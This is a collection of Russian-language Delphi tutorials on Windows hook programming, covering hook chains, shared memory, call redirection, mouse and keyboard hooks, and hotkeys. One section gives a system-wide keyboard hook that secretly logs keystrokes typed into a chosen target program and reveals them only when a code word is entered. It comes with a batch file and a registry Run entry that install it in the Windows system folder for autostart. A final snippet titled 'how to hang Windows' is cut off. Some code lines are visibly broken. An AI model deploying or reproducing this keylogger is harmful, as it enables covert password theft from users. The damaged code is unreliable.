| WH_MSGFILTER | Функция-фильтр специального сообщения. Функция-фильтр ловушки вызывается, когда сообщение должно быть обработано диалоговым окном приложения, меню или окном приложения. |
| WH_SHELL | Фильтр приложения оболочки. Функция-фильтр ловушки вызывается, когда создаются и разрушаются окна верхнего уровня или когда приложению-оболочке требуется стать активным. |
Что бы упредить шквал писем в мой адрес, скажу сразу, что каждый, из вышеперечисленных, типов имеет свои особенности, о которых каждый может прочитать в SDK, MSDN или же найти их описание в Internet-e.
Lpfn : это адрес функции-фильтра, которая является функцией обратного вызова. Функция-фильтр имеет тип TFNHookProc, определение которого выглядит следующим образом:
TFNHookProc = function (code: Integer; wparam: WPARAM; lparam: LPARAM): LRESULT stdcall; |
Значение каждого из параметров функции-фильтра ловушки изменяется в зависимости от типа устанавливаемой ловушки. За более подробными разъяснениями значений параметров обращайтесь к справке по Win32 API.
hmod данный параметр должен иметь значение hInstance в EXE или DLL-файлах, в которых содержится функция-фильтр ловушки (напомню, что это функция обратного вызова). Если речь идёт о глобальных ловушках, то данный параметр может принимать только дескриптор DLL, из которой устанавливается ловушка. Причина очевидна - EXE-файл не может быть отображён на АП другого процесса, тогда как DLL-фалы специально созданы для этого. Подчеркну это обстоятельство ещё раз: глобальные ловушки могут располагаться только в DLL, но никак не в EXE файлах ! dwThreadID данный параметр идентифицирует поток, с которым будет связана ловушка. Мы ведём речь о глобальных ловушках, поэтому данный параметр будет всегда равен 0, что означает, что ловушка будет связана со всеми потоками в системе. Возвращаемое значение функция SetWindowsHookEx возвращает дескриптор установленной ловушки, именно этот дескриптор нам и надо будет сделать доступным ВСЕМ экземплярам отображаемой DLL. Как это сделать я расскажу после небольшого примера, показывающего на практике необходимость сохранять дескриптор ловушки для того, что бы суметь вызвать предыдущую ловушку в цепочке. Замечание: при установке двух ловушек разного типа, система создаст две цепочки ловушек. Т.е. каждому типу ловушки соответствует своя цепочка. Так при установке ловушки типа WH_MOUSE и WH_KEYBOARD обе эти ловушки будут находиться в разных цепочках и, соответственно, будут обрабатываться независимо друг от друга. Для удаления функции-фильтра из очереди необходимо вызвать функцию UnhookWindowsHookEx. Данная функция принимает дескриптор ловушки, полученный функцией SetWindowsHookEx. Если удаление не удалось, то функция возвращает ноль, иначе не нулевое значение. В дальнейшем, под выражением "снять ловушку" будем подразумевать удаление функции-фильтра.Теперь, когда вам известно как устанавливать ловушку и как её снимать, рассмотрим пару примеров, которые дадут наглядное представление об изолированности АП процессов и укажут на одну из самых распространённых ошибок. Откройте каталог Example1, из прилагаемого к статье файла, далее зайдите в каталоги First и Second и скомпилируйте все имеющиеся в этих каталогах проекты. В итоге вы должны получить в одном каталоге файлы MainProg1.exe и hook_dll1.dll, и во втором - MainProg2.exe и hook_dll2.dll (не забудьте, что *.DLL файлы могут быть не видны, из-за того, что у вас в свойствах обозревателя выбран пункт "Не показывать скрытые и системные файлы" ) . Запустите MainProg1.exe и MainProg2.exe, расположите появившиеся окошки рядом. Теперь в окне MainProg1 нажмите "Load DLL and set hook", как только вы нажмёте на эту кнопку, ловушка типа WH_GETMESSAGE установится и теперь, когда какой либо процесс будет считывать сообщение из очереди, в этот процесс будет отображена hook_dll1.dll и выполнена функция-фильтр. При отображении в процесс этой DLL будет выводиться сообщение с именем модуля, из которого был загружен процесс, отобразивший эту DLL в своё АП. Если ловушка установлена успешно, - будет выведено соответствующее сообщение. Проделайте те же действия со второй формой (Example1/Process2). Теперь, после успешной установки двух ловушек, попробуйте кликнуть правой кнопкой мыши на какой-либо форме (но не на форме MainProg2). Вы увидите сообщение "HOOK2 working !", что означает что сработала вторая ловушка, которую мы установили последней и которая находится в конце очереди, но, несмотря на то, что в коде функции-фильтра второй ловушки мы пытались передать сообщение следующей ловушке (установленной нами из MainProg1.
CallNextHookEx(SysHook, Code, wParam, lParam);первая ловушка не выполняется, потому что в процессе, которому принадлежит форма, на которой вы произвели клик, переменная SysHook будет равна нулю. Надеюсь, это понятно, если нет, - начинайте читать заново ;) Теперь попробуйте так же кликнуть правой кнопкой мыши на форму Example1/Process2 и вы увидите сначала сообщение "HOOK2 working !", а затем "HOOK1 working !". Почему ? - спросите вы. А потому, что в АП Process2 (в данных DLL) лежит дескриптор установленной из этого процесса ловушки и функция CallNextHookEx(SysHook, Code, wParam, lParam); работает как надо (SysHook не равна нулю, мы её сохранили в глобальных данных DLL - см. исходный код). Далее, попробуйте снять вторую ловушку (удалить функцию-фильтр из очереди) нажав на кнопку "TurnOff the hook". После того, как ловушка будет снята, попробуйте снова где-либо нажать правую кнопку мыши. При этом вы увидите, что ловушка, поставленная из первого приложения работает (будет появляться сообщение "HOOK1 working !"). Естественно, если вы, не сняв ловушку, закроете приложение, из которого она была установлена, ловушка будет уничтожена, а DLL выгружена, если более ни одним приложением не используется. ( Хотя, строго говоря, это не совсем так. Дело в том, что Windows использует механизм кэширования DLL в оперативной памяти. Делается это для того, что бы уменьшить накладные расходы на загрузку DLL с жёсткого диска в случае, если к этой DLL часто обращаются различные приложения, т.е. отображают эту DLL на своё АП. Более подробно об этом механизме можно почитать в специализированной литературе, для нас же, как для программистов, данное свойство ОС остаётся, как правило, прозрачным). Думаю, теперь, разобравшись в исходных кодах библиотек из первого примера, вы поняли, как НЕ надо писать DLL, из которых вы устанавливаете глобальные ловушки. Представьте, что пользователь, использующий вашу программу, в которой задействованы глобальные ловушки, запустит другую программу, которая так же установит тот же вид ловушки, что и ваша, но установит её в конец очереди, в таком случае, если та, вторая программа, будет написана неправильно - ваша программа перестанет работать потому что вашей ловушке не будет передаваться сообщение из впереди стоящей. Это пример того, как некачественная работа одного программиста может испортить прекрасно выполненную работу другого. Замечание: если вы работаете на Windows 2000, то вышеописанный пример будет работать иначе. Дело в том, что в Windows 2000 изменён механизм вызова ловушки, стоящей в очереди. Программисты Microsoft довели-таки его до ума, и в новой ОС он стал, по моему личному мнению, более логичен. В Windows 2000 если у вас имеется цепочка ловушек, то при выполнении функции CallNextHookEx(0, nCode, wParam, lParam ) вызывается следующая ловушка в цепочке, т.е. отпадает необходимость в передачи дескриптора, возвращаемого функцией SetWindowsHookEx. Таким образом, в первом примере будут вызываться обе ловушки и при клике на правую кнопку мыши вы увидите сообщение "HOOK2 working !", а затем и "HOOK1 working !". Рассмотрев и опробовав пример 2, вы увидите, что в Windows 2000 оба примера работают одинаково, хотя второй пример гораздо более сложен в плане реализации. Так как мы стремимся к тому, что бы наши программы были устойчивы в работе под любой версией Windows (имеются ввиду 32-х разрядные и выше), то в связи с этим я бы рекомендовал в ваших программах использовать метод, описанный далее в статье, а ещё лучше - делать проверку на ОС, под которой была запущена ваша программа и соответствующим образом работать с ловушками. К сожалению у меня нет описания, содержащего декларацию "новой" функции CallNextHookEx(), нововведение было обнаружено мной в результате тестирования своих программ на Windows 2000, поэтому возможны какие-то нюансы при работе с этой функцией. Лично я, работая с ловушками в среде Windows 2000, на другие изменения не натыкался, если кто-то располагает какой-либо интересной информацией по данному вопросу - буду признателен, если со мной ею поделятся. Теперь поговорим о том, как избежать неприятных ситуаций, используя глобальные ловушки. Для того, что бы все экземпляры DLL, находящиеся в разных процессах, имели доступ к дескриптору ловушки, надо выделить какую-то область, доступ к которой будут иметь все "желающие". Для этого воспользуемся одним из мощнейших механизмов Windows под названием "Файлы, отображённые в память" (Memory Mapped Files). В цели данной статьи не входит углубление в подробности работы с данным механизмом, так что если он кого-то заинтересует всерьёз - рекомендую почитать о нём в литературе, общие же понятия я постараюсь вкратце осветить. Механизм файлов, отображённых в память (MMF - Memory Mapped Files) позволяет резервировать определённую область АП системы Windows, для которой назначаются страницы физической памяти. Таким образом, с помощью MMF можно отображать в память не только файлы, но и данные, ссылаясь на них из своих программ с помощью указателей. В первом приближении работу механизма MMF можно представить следующим образом: Process1 создаёт отображение, которое связывает с некими данными (будь то файл на диске или значение неких переменных в самом Process1) и может изменять отображённые данные; затем Process2 так же отображает некие свои данные в тоже отображение, что и Process1, таким образом, изменения, внесённые Process1 в отображённые данные, будут видны Process2 и наоборот (см. рис.1 - красный овал c именем Global Data и есть зарезервированное под совместные нужды двух процессов АП). Данное приближение, вообще говоря, грубое, потому что всё намного сложнее, но для наших "нужд" этого будет вполне достаточно. Мы не будем создавать никаких временных файлов для передачи информации между процессами, мы воспользуемся файлом подкачки Windows (файл страничного обмена), таким образом, нам не придётся ни создавать ни уничтожать файлы, а придётся просто создать некоторое АП, которое будет доступно нашим приложениям и которое будет автоматически освобождаться системой, когда в нём отпадёт необходимость. К тому же, ясно, что работа с файлом подкачки куда быстрее, чем с обычным файлом, хранящимся на диске. Таким образом, к рассмотренному вами ранее Example1 можно применить следующий сценарий: при загрузки вашей программой (MainProg1.exe) библиотеки hook_dll1.dll эта библиотека создаёт отображённый в память файл, в котором сохраняет значение дескриптора установленной ловушки; затем некий процесс, в котором произошло событие, на которое была установлена ловушка, отображает на своё АП код hook_dll1.dll и уже новый экземпляр hook_dll1.dll, находящийся в АП другого процесса использует то же отображение, что и библиотека, из который была установлена ловушка, т.е. будет иметь доступ к сохранённому значению дескриптора установленной ловушки. Таким образом, вызов функции CallNextHookEx(Hook_Handle, Code, wParam, lParam); будет происходить вполне корректно, т.к. значение Hook_Handle будет содержать не 0, как в примере1, а значение, возвращённое функцией SetWindowsHookEx из первого экземпляра DLL. Возможно, данные объяснения кажутся вам запутанными, но после просмотра примера и повторного прочтения этих объяснений всё встанет на свои места.
Теперь пару слов о программной реализации всего вышесказанного.
| CreateFileMapping() | Создаёт объект файлового отображения. Данная функция возвращает указатель (handle) на объект файлового отображения. |
| MapViewOfFile() | Данная функция отображает образ объекта файлового отображения на АП процесса, из которого она была вызвана. Первым параметром данной функции является результат выполнения функции CreateFileMapping(). Результатом работы данной функции является указатель на начало выделенного АП (уже в том процессе, из которого была вызвана данная функция). См. рис.1. - красные овалы в Process1 и Process2 под названием GD1 и GD2 (Global Data 1/2). Следует отметить, что для различных процессов, использующих экземпляры одной и той же DLL, адреса выделенных областей будут различными (хотя могут и совпадать, но это совпадение носит вероятностный характер), хотя данные, на которые они будут ссылаться, одни и те же ! |
| UnmapViewOfFile() | Данная функция закрывает отображённый в память файл и освобождает его дескриптор. При удачном закрытие функция возвращает ненулевое значение и 0 в случае неудачи. |
Список использованной литературы:
Microsoft Win32 Software Development Kit. Стив Тейксейра и Ксавье Пачеко, "Delphi5. Руководство разработчика. Том 1. Основные методы и технологии". Kyle Marsh, "Hooks in Win32" (in the original). Dr. Joseph M. Newcomer, "Hooks and DLLs" (in the original).Перехват функции в собственном приложении.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
type
TSaveRedir = packed record
Addr: Pointer;
Bytes: array[0..4] of Byte;
end;
PSaveRedir = ^TSaveRedir;
procedure RedirectCall(FromAddr, ToAddr: Pointer; SaveRedir: PSaveRedir);
var
OldProtect: Cardinal;
NewCode: packed record
JMP: Byte;
Distance: Integer;
end;
begin
if not VirtualProtect(FromAddr, 5, PAGE_EXECUTE_READWRITE, OldProtect) then
RaiseLastWin32Error;
if Assigned(SaveRedir) then
begin
SaveRedir^.Addr := FromAddr;
Move(FromAddr^, SaveRedir^.Bytes, 5);
end;
NewCode.JMP := $E9;
NewCode.Distance := PChar(ToAddr) - PChar(FromAddr) - 5;
Move(NewCode, FromAddr^, 5);
if not VirtualProtect(FromAddr, 5, OldProtect, OldProtect) then
RaiseLastWin32Error;
end;
procedure UndoRedirectCall(const SaveRedir: TSaveRedir);
var
OldProtect: Cardinal;
begin
if not VirtualProtect(SaveRedir.Addr, 5, PAGE_EXECUTE_READWRITE, OldProtect) then
RaiseLastWin32Error;
Move(SaveRedir.Bytes, SaveRedir.Addr^, 5);
if not VirtualProtect(SaveRedir.Addr, 5, OldProtect, OldProtect) then
RaiseLastWin32Error;
end;
// Example: Replace Application.MessageBox with your own.
function MyNewMessageBox(Self: TApplication; const Text, Caption: PChar;
Flags: Longint): Integer;
begin
ShowMessage('New Messagebox');
//....
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Application.MessageBox('You'll never see this Text /
Diesen Text wirst du nie sehen'', '...', MB_OK);
end;
var
S: TSaveRedir;
initialization
RedirectCall(@TApplication.MessageBox, @MyNewMessageBox, @S);
finalization
UndoRedirectCall(S);
Использование НООК в Delphi.
| Смотрит программер на монитор компа с только что поставленной виндой и говорит: - Да.., жить захочешь не так раскорячишся. |
Что такое НООК?
НООК - это механизм перехвата сообщений, предоставляемый системой Microsoft Windows. Программист пишет специального вида функцию (НООК-функция), которая затем при помощи функции SetWindowsHookEx вставляется на верх стека НООК-функций системы. Ваша НООК-функция сама решает, передать ли ей сообщение в следующую НООК-функцию при помощи CallNextHookEx или нет.
Какие бывает НООК'и?
НООК бывают глобальные, контролирующие всю систему, так и локальные, ориентированные на какой-либо поток (Thread). Кроме того НООК различаются по типу перехватываемых сообщений (подробнее об этом - ниже). НООК несколько подтормаживают систему, поэтому ставить их рекомендуется только при необходимости, и кактолько необходимость в них отпадает - удалять.
Как создавать НООК?
НООК устанавливается в систему при помощи функции SetWindowsHookEx, вот её заголовок:
function SetWindowsHookEx(idHook: Integer; lpfn: TFNHookProc; hmod: HINST; dwThreadId: DWORD): HHOOK; |
Подробнее о НООК-функциях сотри справку по Win32API.
Как удалять НООК?
НООК удаляется при помощи функции UnHookWindowsEx.
Пример использования НООК.
Ставим НООК, следящий за мышью (WH_MOUSE). Программа следит за нажатием средней кнопки мыши, и когда она нажимается, делает окно, находящееся непосредственно под указателем, поверх всех остальных (TopMost). Код самой НООК-функции помещен в библиотеку lib2.dll, туда же помещены и функции Start - для установки НООК, и Remove - для удаления НООК.
Файл sticker.dpr
program sticker;
uses
windows, messages;
var
wc: TWndClassEx;
MainWnd: THandle;
Mesg: TMsg;
//экспортируем две функции из библиотеки с НООК'ами
procedure Start; external 'lib2.dll' name 'Start';
procedure Remove; external 'lib2.dll' name 'Remove';
function WindowProc(wnd: HWND; Msg: Integer; Wparam: Wparam;
Lparam: Lparam): Lresult; stdcall;
var
nCode, ctrlID: word;
begin
case msg of
wm_destroy :
begin
Remove;//удаляем НООК
postquitmessage(0); exit;
Result:=0;
end;
else
Result := DefWindowProc(wnd, msg, wparam, lparam);
end;
end;
begin
wc.cbSize:=sizeof(wc);
wc.style:=cs_hredraw or cs_vredraw;
wc.lpfnWndProc:=@WindowProc;
wc.cbClsExtra:=0;
wc.cbWndExtra:=0;
wc.hInstance:=HInstance;
wc.hIcon:=LoadIcon(0,idi_application);
wc.hCursor:=LoadCursor(0,idc_arrow);
wc.hbrBackground:=COLOR_BTNFACE+1;
wc.lpszMenuName:=nil;
wc.lpszClassName:='WndClass1';
RegisterClassEx(wc);
MainWnd := CreateWindowEx(0, 'WndClass1', 'Caption', ws_overlappedwindow,
cw_usedefault, cw_usedefault, cw_usedefault, cw_usedefault, 0, 0, Hinstance, nil);
ShowWindow(MainWnd, CmdShow);
Start;//вставляем НООК
while GetMessage(Mesg, 0, 0, 0) do
begin
TranslateMessage(Mesg);
DispatchMessage(Mesg);
end;
end.
|
Файл lib2.dpr library lib2;
uses
windows, messages;
var
pt: TPoint;
theHook: THandle;
function MouseHook(nCode, wParam, lParam: integer): Lresult; stdcall;
var
msg: PMouseHookStruct;
w: THandle;
style: integer;
begin
if nCode then
begin
result := CallNextHookEx(theHook, nCode, wParam, lParam);
exit;
end;
msg := PMouseHookStruct(lParam);
case wParam of
WM_MBUTTONDOWN : pt := msg^.pt;
WM_MBUTTONUP :
begin
w := WindowFromPoint(pt);
style := GetWindowLong(w, GWL_EXSTYLE);
if (style and WS_EX_TOPMOST) <> 0 then
begin
//уже поверх всех - сделать обычным
ShowWindow(w, sw_hide);
SetWindowPos(w, HWND_NOTOPMOST, 0,0,0,0, SWP_NOMOVE or SWP_NOSIZE or SWP_SHOWWINDOW);
end
else
begin
//сделать поверх остальных
ShowWindow(w, sw_hide);
SetWindowPos(w, HWND_TOPMOST, 0,0,0,0, SWP_NOMOVE or SWP_NOSIZE or SWP_SHOWWINDOW);
end;
end;
end;
result := CallNextHookEx(theHook, nCode, wParam, lParam);
end;
procedure Start;
begin
theHook := SetWindowsHookEx(wh_mouse, @mouseHook, hInstance, 0);
if theHook = 0 then
messageBox(0, 'Error!', 'Error!', mb_ok);
end;
procedure Remove;
begin
UnhookWindowsHookEx(theHook);
end;
exports
Start index 1 name 'Start',
Remove index 2 name 'Remove';
end.
|
Как отловить нажатия клавиш для всех процессов в системе.
| Идет программист по улице, видит - его приятель-коллега на новеньком красном "Ferrari 512TR". - Откуда такая машина?! - Да из NFS дебаггером выдрал. |
@echo off copy HookAgnt.dll %windir%\system copy kbdhook.exe %windir%\system start HookAgnt.reg |
REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "kbdhook"="kbdhook.exe" |
program cwbhook;
uses
Windows, Dialogs;
var
hinstDLL: HINST;
hkprcKeyboard: TFNHookProc;
msg: TMsg;
begin
hinstDLL := LoadLibrary('HookAgnt.dll');
hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
repeat
until
not GetMessage(msg, 0, 0, 0);
end.
|
library HookAgent;
uses
Windows, KeyboardHook in 'KeyboardHook.pas';
exports
KeyboardProc;
var
hFileMappingObject: THandle;
fInit: Boolean;
{----------------------------\
| |
| DLL_PROCESS_DETACH |
| |
\----------------------------}
procedure DLLMain(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
begin
UnmapViewOfFile(lpvMem);
CloseHandle(hFileMappingObject);
end;
end;
{----------------------------\
| |
| DLL_PROCESS_ATTACH |
| |
\----------------------------}
begin
DLLProc := @DLLMain;
hFileMappingObject := CreateFileMapping(
THandle($FFFFFFFF), // use paging file
nil, // no security attributes
PAGE_READWRITE, // read/write access
0, // size: high 32 bits
4096, // size: low 32 bits
'HookAgentShareMem' // name of map object
);
if hFileMappingObject = INVALID_HANDLE_VALUE then
begin
ExitCode := 1;
Exit;
end;
fInit := GetLastError() <> ERROR_ALREADY_EXISTS;
lpvMem := MapViewOfFile(
hFileMappingObject, // object to map view of
FILE_MAP_WRITE, // read/write access
0, // high offset: map from
0, // low offset: beginning
0 // default: map entire file
);
if lpvMem = nil then
begin
CloseHandle(hFileMappingObject);
ExitCode := 1;
Exit;
end;
if fInit then
FillChar(lpvMem, PASSWORDSIZE, #0);
end.
|
unit KeyboardHook;
interface
uses
Windows;
const
PASSWORDSIZE = 16;
var
g_hhk: HHOOK;
g_szKeyword: array[0..PASSWORDSIZE-1] of char;
lpvMem: Pointer;
function KeyboardProc(nCode: Integer; wParam: WPARAM;
lParam: LPARAM ): LRESULT; stdcall;
implementation
uses
SysUtils, Dialogs;
function KeyboardProc(nCode: Integer; wParam: WPARAM;
lParam: LPARAM ): LRESULT;
var
szModuleFileName: array[0..MAX_PATH-1] of Char;
szKeyName: array[0..16] of Char;
lpszPassword: PChar;
begin
lpszPassword := PChar(lpvMem);
if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
begin
GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));
if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));
lstrcat(g_szKeyword, szKeyName);
GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));
if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_АДО__') <> nil) and
(strlen(lpszPassword) + strlen(szKeyName) then
lstrcat(lpszPassword, szKeyName);
if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
begin
ShowMessage(lpszPassword);
g_szKeyword[0] := #0;
end;
Result := 0;
end
else
Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);
end;
end.
|
Перехват (Hook) клавиатуры (программа Sendkeys).
| Автор: Bogachev |
| Всю ночь потел над непослушной Клавой... |
program Project1;
uses
Forms,
Unit1 in '..\Hooks1\Unit1.pas' {Form1};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
// *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* //
library SendKey;
uses
SysUtils, Classes, Windows, Messages;
const
{пользовательские сообщения}
wm_LeftShow_Event = wm_User + 133;
wm_RightShow_Event = wm_User + 134;
wm_UpShow_Event = wm_User + 135;
wm_DownShow_Event = wm_User + 136;
{handle для ловушки}
HookHandle: hHook = 0;
var
SaveExitProc: Pointer;
{собственно ловушка}
function Key_Hook(Code: integer; wParam: word;
lParam: Longint): Longint; stdcall; export;
var
H: HWND;
begin
{если Code>=0, то ловушка может обработать событие}
if (Code >= 0) and (lParam and $40000000 = 0) then
begin
{ищем окно по имени класса и по заголовку
(Caption формы управляющей программы должен быть равен 'XXX' !!!!)}
H := FindWindow('TForm1', 'XXX');
{это те клавиши?}
case wParam of
VK_Left: SendMessage(H, wm_LeftShow_Event, 0, 0);
VK_Right: SendMessage(H, wm_RightShow_Event, 0, 0);
VK_Up: SendMessage(H, wm_UpShow_Event, 0, 0);
VK_Down: SendMessage(H, wm_DownShow_Event, 0, 0);
end;
{если 0, то система должна дальше обработать это событие}
{если 1 - нет}
Result := 0;
end
else if Code < 0 {если Code<0, то нужно вызвать следующую ловушку} then
Result := CallNextHookEx(HookHandle, Code, wParam, lParam);
end;
{при выгрузке DLL надо снять ловушку}
procedure LocalExitProc; far;
begin
if HookHandle <> 0 then
begin
UnhookWindowsHookEx(HookHandle);
ExitProc := SaveExitProc;
end;
end;
exports Key_Hook;
{инициализация DLL при загрузке ее в память}
begin
{устанавливаем ловушку}
HookHandle := SetWindowsHookEx(wh_Keyboard, @Key_Hook,
hInstance, 0);
if HookHandle = 0 then
MessageBox(0, 'Unable to set hook!', 'Error', mb_Ok)
else
begin
SaveExitProc := ExitProc;
ExitProc := @LocalExitProc;
end;
end.
// *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* //
object Form1: TForm1
Left = 200
Top = 104
Width = 544
Height = 375
Caption = 'XXX'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
PixelsPerInch = 96
TextHeight = 13
object Label1: TLabel
Left = 128
Top = 68
Width = 32
Height = 13
Caption = 'Label1'
end
end
// *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* //
unit Unit1;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics,
Controls, Forms, Dialogs, StdCtrls;
{пользовательские сообщения}
const
wm_LeftShow_Event = wm_User + 133;
wm_RightShow_Event = wm_User + 134;
wm_UpShow_Event = wm_User + 135;
wm_DownShow_Event = wm_User + 136;
type
TForm1 = class(TForm)
Label1: TLabel;
procedure FormCreate(Sender: TObject);
private //Обработчики сообщений
procedure WM_LeftMSG(var M: TMessage);
message wm_LeftShow_Event;
procedure WM_RightMSG(var M: TMessage);
message wm_RightShow_Event;
procedure WM_UpMSG(var M: TMessage);
message wm_UpShow_Event;
procedure WM_DownMSG(var M: TMessage);
message wm_DownShow_Event;
end;
var
Form1: TForm1;
P: Pointer;
implementation
{$R *.DFM}
//Загрузка DLL
function Key_Hook(Code: integer; wParam: word;
lParam: Longint): Longint; stdcall; external 'SendKey' name 'Key_Hook';
procedure TForm1.WM_LefttMSG(var M: TMessage);
begin
Label1.Caption := 'Left';
end;
procedure TForm1.WM_RightMSG(var M: TMessage);
begin
Label1.Caption := 'Right';
end;
procedure TForm1.WM_UptMSG(var M: TMessage);
begin
Label1.Caption := 'Up';
end;
procedure TForm1.WM_DownMSG(var M: TMessage);
begin
Label1.Caption := 'Down';
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
{если не использовать вызов процедуры из DLL в программе,
то компилятор удалит загрузку DLL из программы}
P := @Key_Hook;
end;
end.
|
Перехватить нажатие клавиши на клавиатуре.
| Звонит мужик в программистскую фирму: - Ваша программа не работает!!! Что делать? - Вы внимательно читали руководство? - Да, да, делал все как написано - не работает. - Прочитайте еще раз 1-ю строчку. - Читаю: "Нажмите кнопку ENTER". Нажимаю... Не работает. - Читайте дальше. - Читаю: "Отпустите кнопку ENTER". О!!! Заработала!!! |
Для того, чтобы перехватить нажатие какой-то клавиши на клавиатуре можно использовать зарегистрированную "горячую клавишу" (HotKey). Эта программа пикает при нажатии "1".
...
private
procedure WMHotKey(var Msg: TWMHotKey); message WM_HOTKEY;
...
const
MyHotKey = ord('1');
procedure TForm1.WMHotKey(var Msg: TWMHotKey);
begin
MessageBeep(0);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
RegisterHotKey(Form1.Handle, MyHotKey, 0, MyHotKey);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnRegisterHotKey(Form1.Handle, MyHotKey);
end;
|
Функции WinAPI Hook.
Оформил: DeeCo
Hook System Functions:CallMsgFilter CallNextHookEx CallWndProc CallWndRetProc CBTProc DebugProc ForegroundIdleProc GetMsgProc JournalPlaybackProc JournalRecordProc KeyboardProc MessageProc MouseProc SetWindowsHookEx ShellProc SysMsgProc UnhookWindowsHookEx
Пример компонента HotSpot.
Автор: Robert WittigВот пример HotSpot-компонента, основанного на TPanel (небольшая переделка). Управляя событиями MouseDown и MouseUp можно получить эффект резинового контура.
unit Newpanel;
interface
uses WinTypes, Classes, Controls, StdCtrls, ExtCtrls;
type
tHotSpotClickEvent = procedure(Sender: tObject;
Button: tMouseButton;
Shift: tShiftState) of object;
TNewPanel = class(tPanel)
private
fHotSpotClick: tHotSpotClickEvent;
fHotSpot: tRect;
fInHotSpot: Boolean;
function GetHotSpotTop: Word;
function GetHotSpotLeft: Word;
function GetHotSpotWidth: Word;
function GetHotSpotHeight: Word;
procedure SetHotSpotTop(Value: Word);
procedure SetHotSpotLeft(Value: Word);
procedure SetHotSpotWidth(Value: Word);
procedure SetHotSpotHeight(Value: Word);
protected
procedure Paint; override;
procedure MouseDown(Button: tMouseButton; Shift: tShiftState; X, Y: Integer);
override;
procedure MouseUp(Button: tMouseButton; Shift: tShiftState; X, Y: Integer);
override;
public
procedure Click; override;
property HotSpot: tRect read fHotSpot write fHotSpot;
published
property hsTop: Word read GetHotSpotTop write SetHotSpotTop;
property hsLeft: Word read GetHotSpotLeft write SetHotSpotLeft;
property hsWidth: Word read GetHotSpotWidth write SetHotSpotWidth;
property hsHeight: Word read GetHotSpotHeight write SetHotSpotHeight;
property OnHotSpot: tHotSpotClickEvent read fHotSpotClick write
fHotSpotClick;
end;
procedure Register;
implementation
uses WinProcs, Graphics;
procedure Register;
begin
RegisterComponents('Custom', [TNewPanel]);
end;
procedure TNewPanel.MouseDown(Button: tMouseButton;
Shift: tShiftState;
X, Y: Integer);
begin
if PtInRect(fHotSpot, Point(X, Y)) and
Assigned(fHotSpotClick) then
fInHotSpot := True;
inherited MouseDown(Button, Shift, X, Y);
end;
procedure TNewPanel.MouseUp(Button: tMouseButton;
Shift: tShiftState;
X, Y: Integer);
begin
inherited MouseUp(Button, Shift, X, Y);
if fInHotSpot then
begin
if Assigned(fHotSpotClick) then
fHotSpotClick(Self, Button, Shift);
fInHotSpot := False;
end;
end;
procedure TNewPanel.Click;
begin
if not fInHotSpot then
inherited Click;
end;
procedure TNewPanel.Paint;
var
OldStyle: tPenStyle;
begin
inherited Paint;
if csDesigning in ComponentState then
begin
OldStyle := Canvas.Pen.Style;
Canvas.Pen.Style := psDash;
Canvas.Rectangle(HotSpot.Left, HotSpot.Top, HotSpot.Right, HotSpot.Bottom);
Canvas.Pen.Style := OldStyle;
end;
end;
procedure TNewPanel.SetHotSpotTop(Value: Word);
begin
fHotSpot.Bottom := fHotSpot.Bottom + Value - fHotSpot.Top;
fHotSpot.Top := Value;
Paint;
end;
procedure TNewPanel.SetHotSpotLeft(Value: Word);
begin
fHotSpot.Right := fHotSpot.Right + Value - fHotSpot.Left;
fHotSpot.Left := Value;
Paint;
end;
procedure TNewPanel.SetHotSpotWidth(Value: Word);
begin
fHotSpot.Right := fHotSpot.Left + Value;
Paint;
end;
procedure TNewPanel.SetHotSpotHeight(Value: Word);
begin
fHotSpot.Bottom := fHotSpot.Top + Value;
Paint;
end;
function TNewPanel.GetHotSpotTop: Word;
begin
Result := fHotSpot.Top
end;
function TNewPanel.GetHotSpotLeft: Word;
begin
Result := fHotSpot.Left;
end;
function TNewPanel.GetHotSpotWidth: Word;
begin
Result := fHotSpot.Right - fHotSpot.Left;
end;
function TNewPanel.GetHotSpotHeight: Word;
begin
Result := fHotSpot.Bottom - fHotSpot.Top;
end;
end.
|
Создание собственных горячих клавиш.
| Сидят 2 программиста, выпучившись в мониторы. В окно влетает зеленая жирная муха и садится к одному из них на экран. Тот лихорадочно начинает кликать мышкой. Муха не реагирует. Второй вскакивает раскручивая на ходу свою мышку бьет первого. Первый выходит из торча: "Прикинь, Вить, первый раз глюк убрал просто del!" Второй, замерев, всматривается в экран: - Да, Миш, тебе бы переинсталить... |
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if (ssCtrl in Shift) and (chr(Key) in ['A', 'a']) then
ShowMessage('Ctrl-A');
end;
|
Как повесить винду.

| Автор: Nomadic |
| Если бы на станции "МИР" стояли бы "Винды", она до сих пор бы висела. |
uses TLHelp32;
const
PROCESS_TERMINATE = $0001;
var
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
ContinueLoop: BOOL;
begin
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
while integer(ContinueLoop) <> 0 do
begin
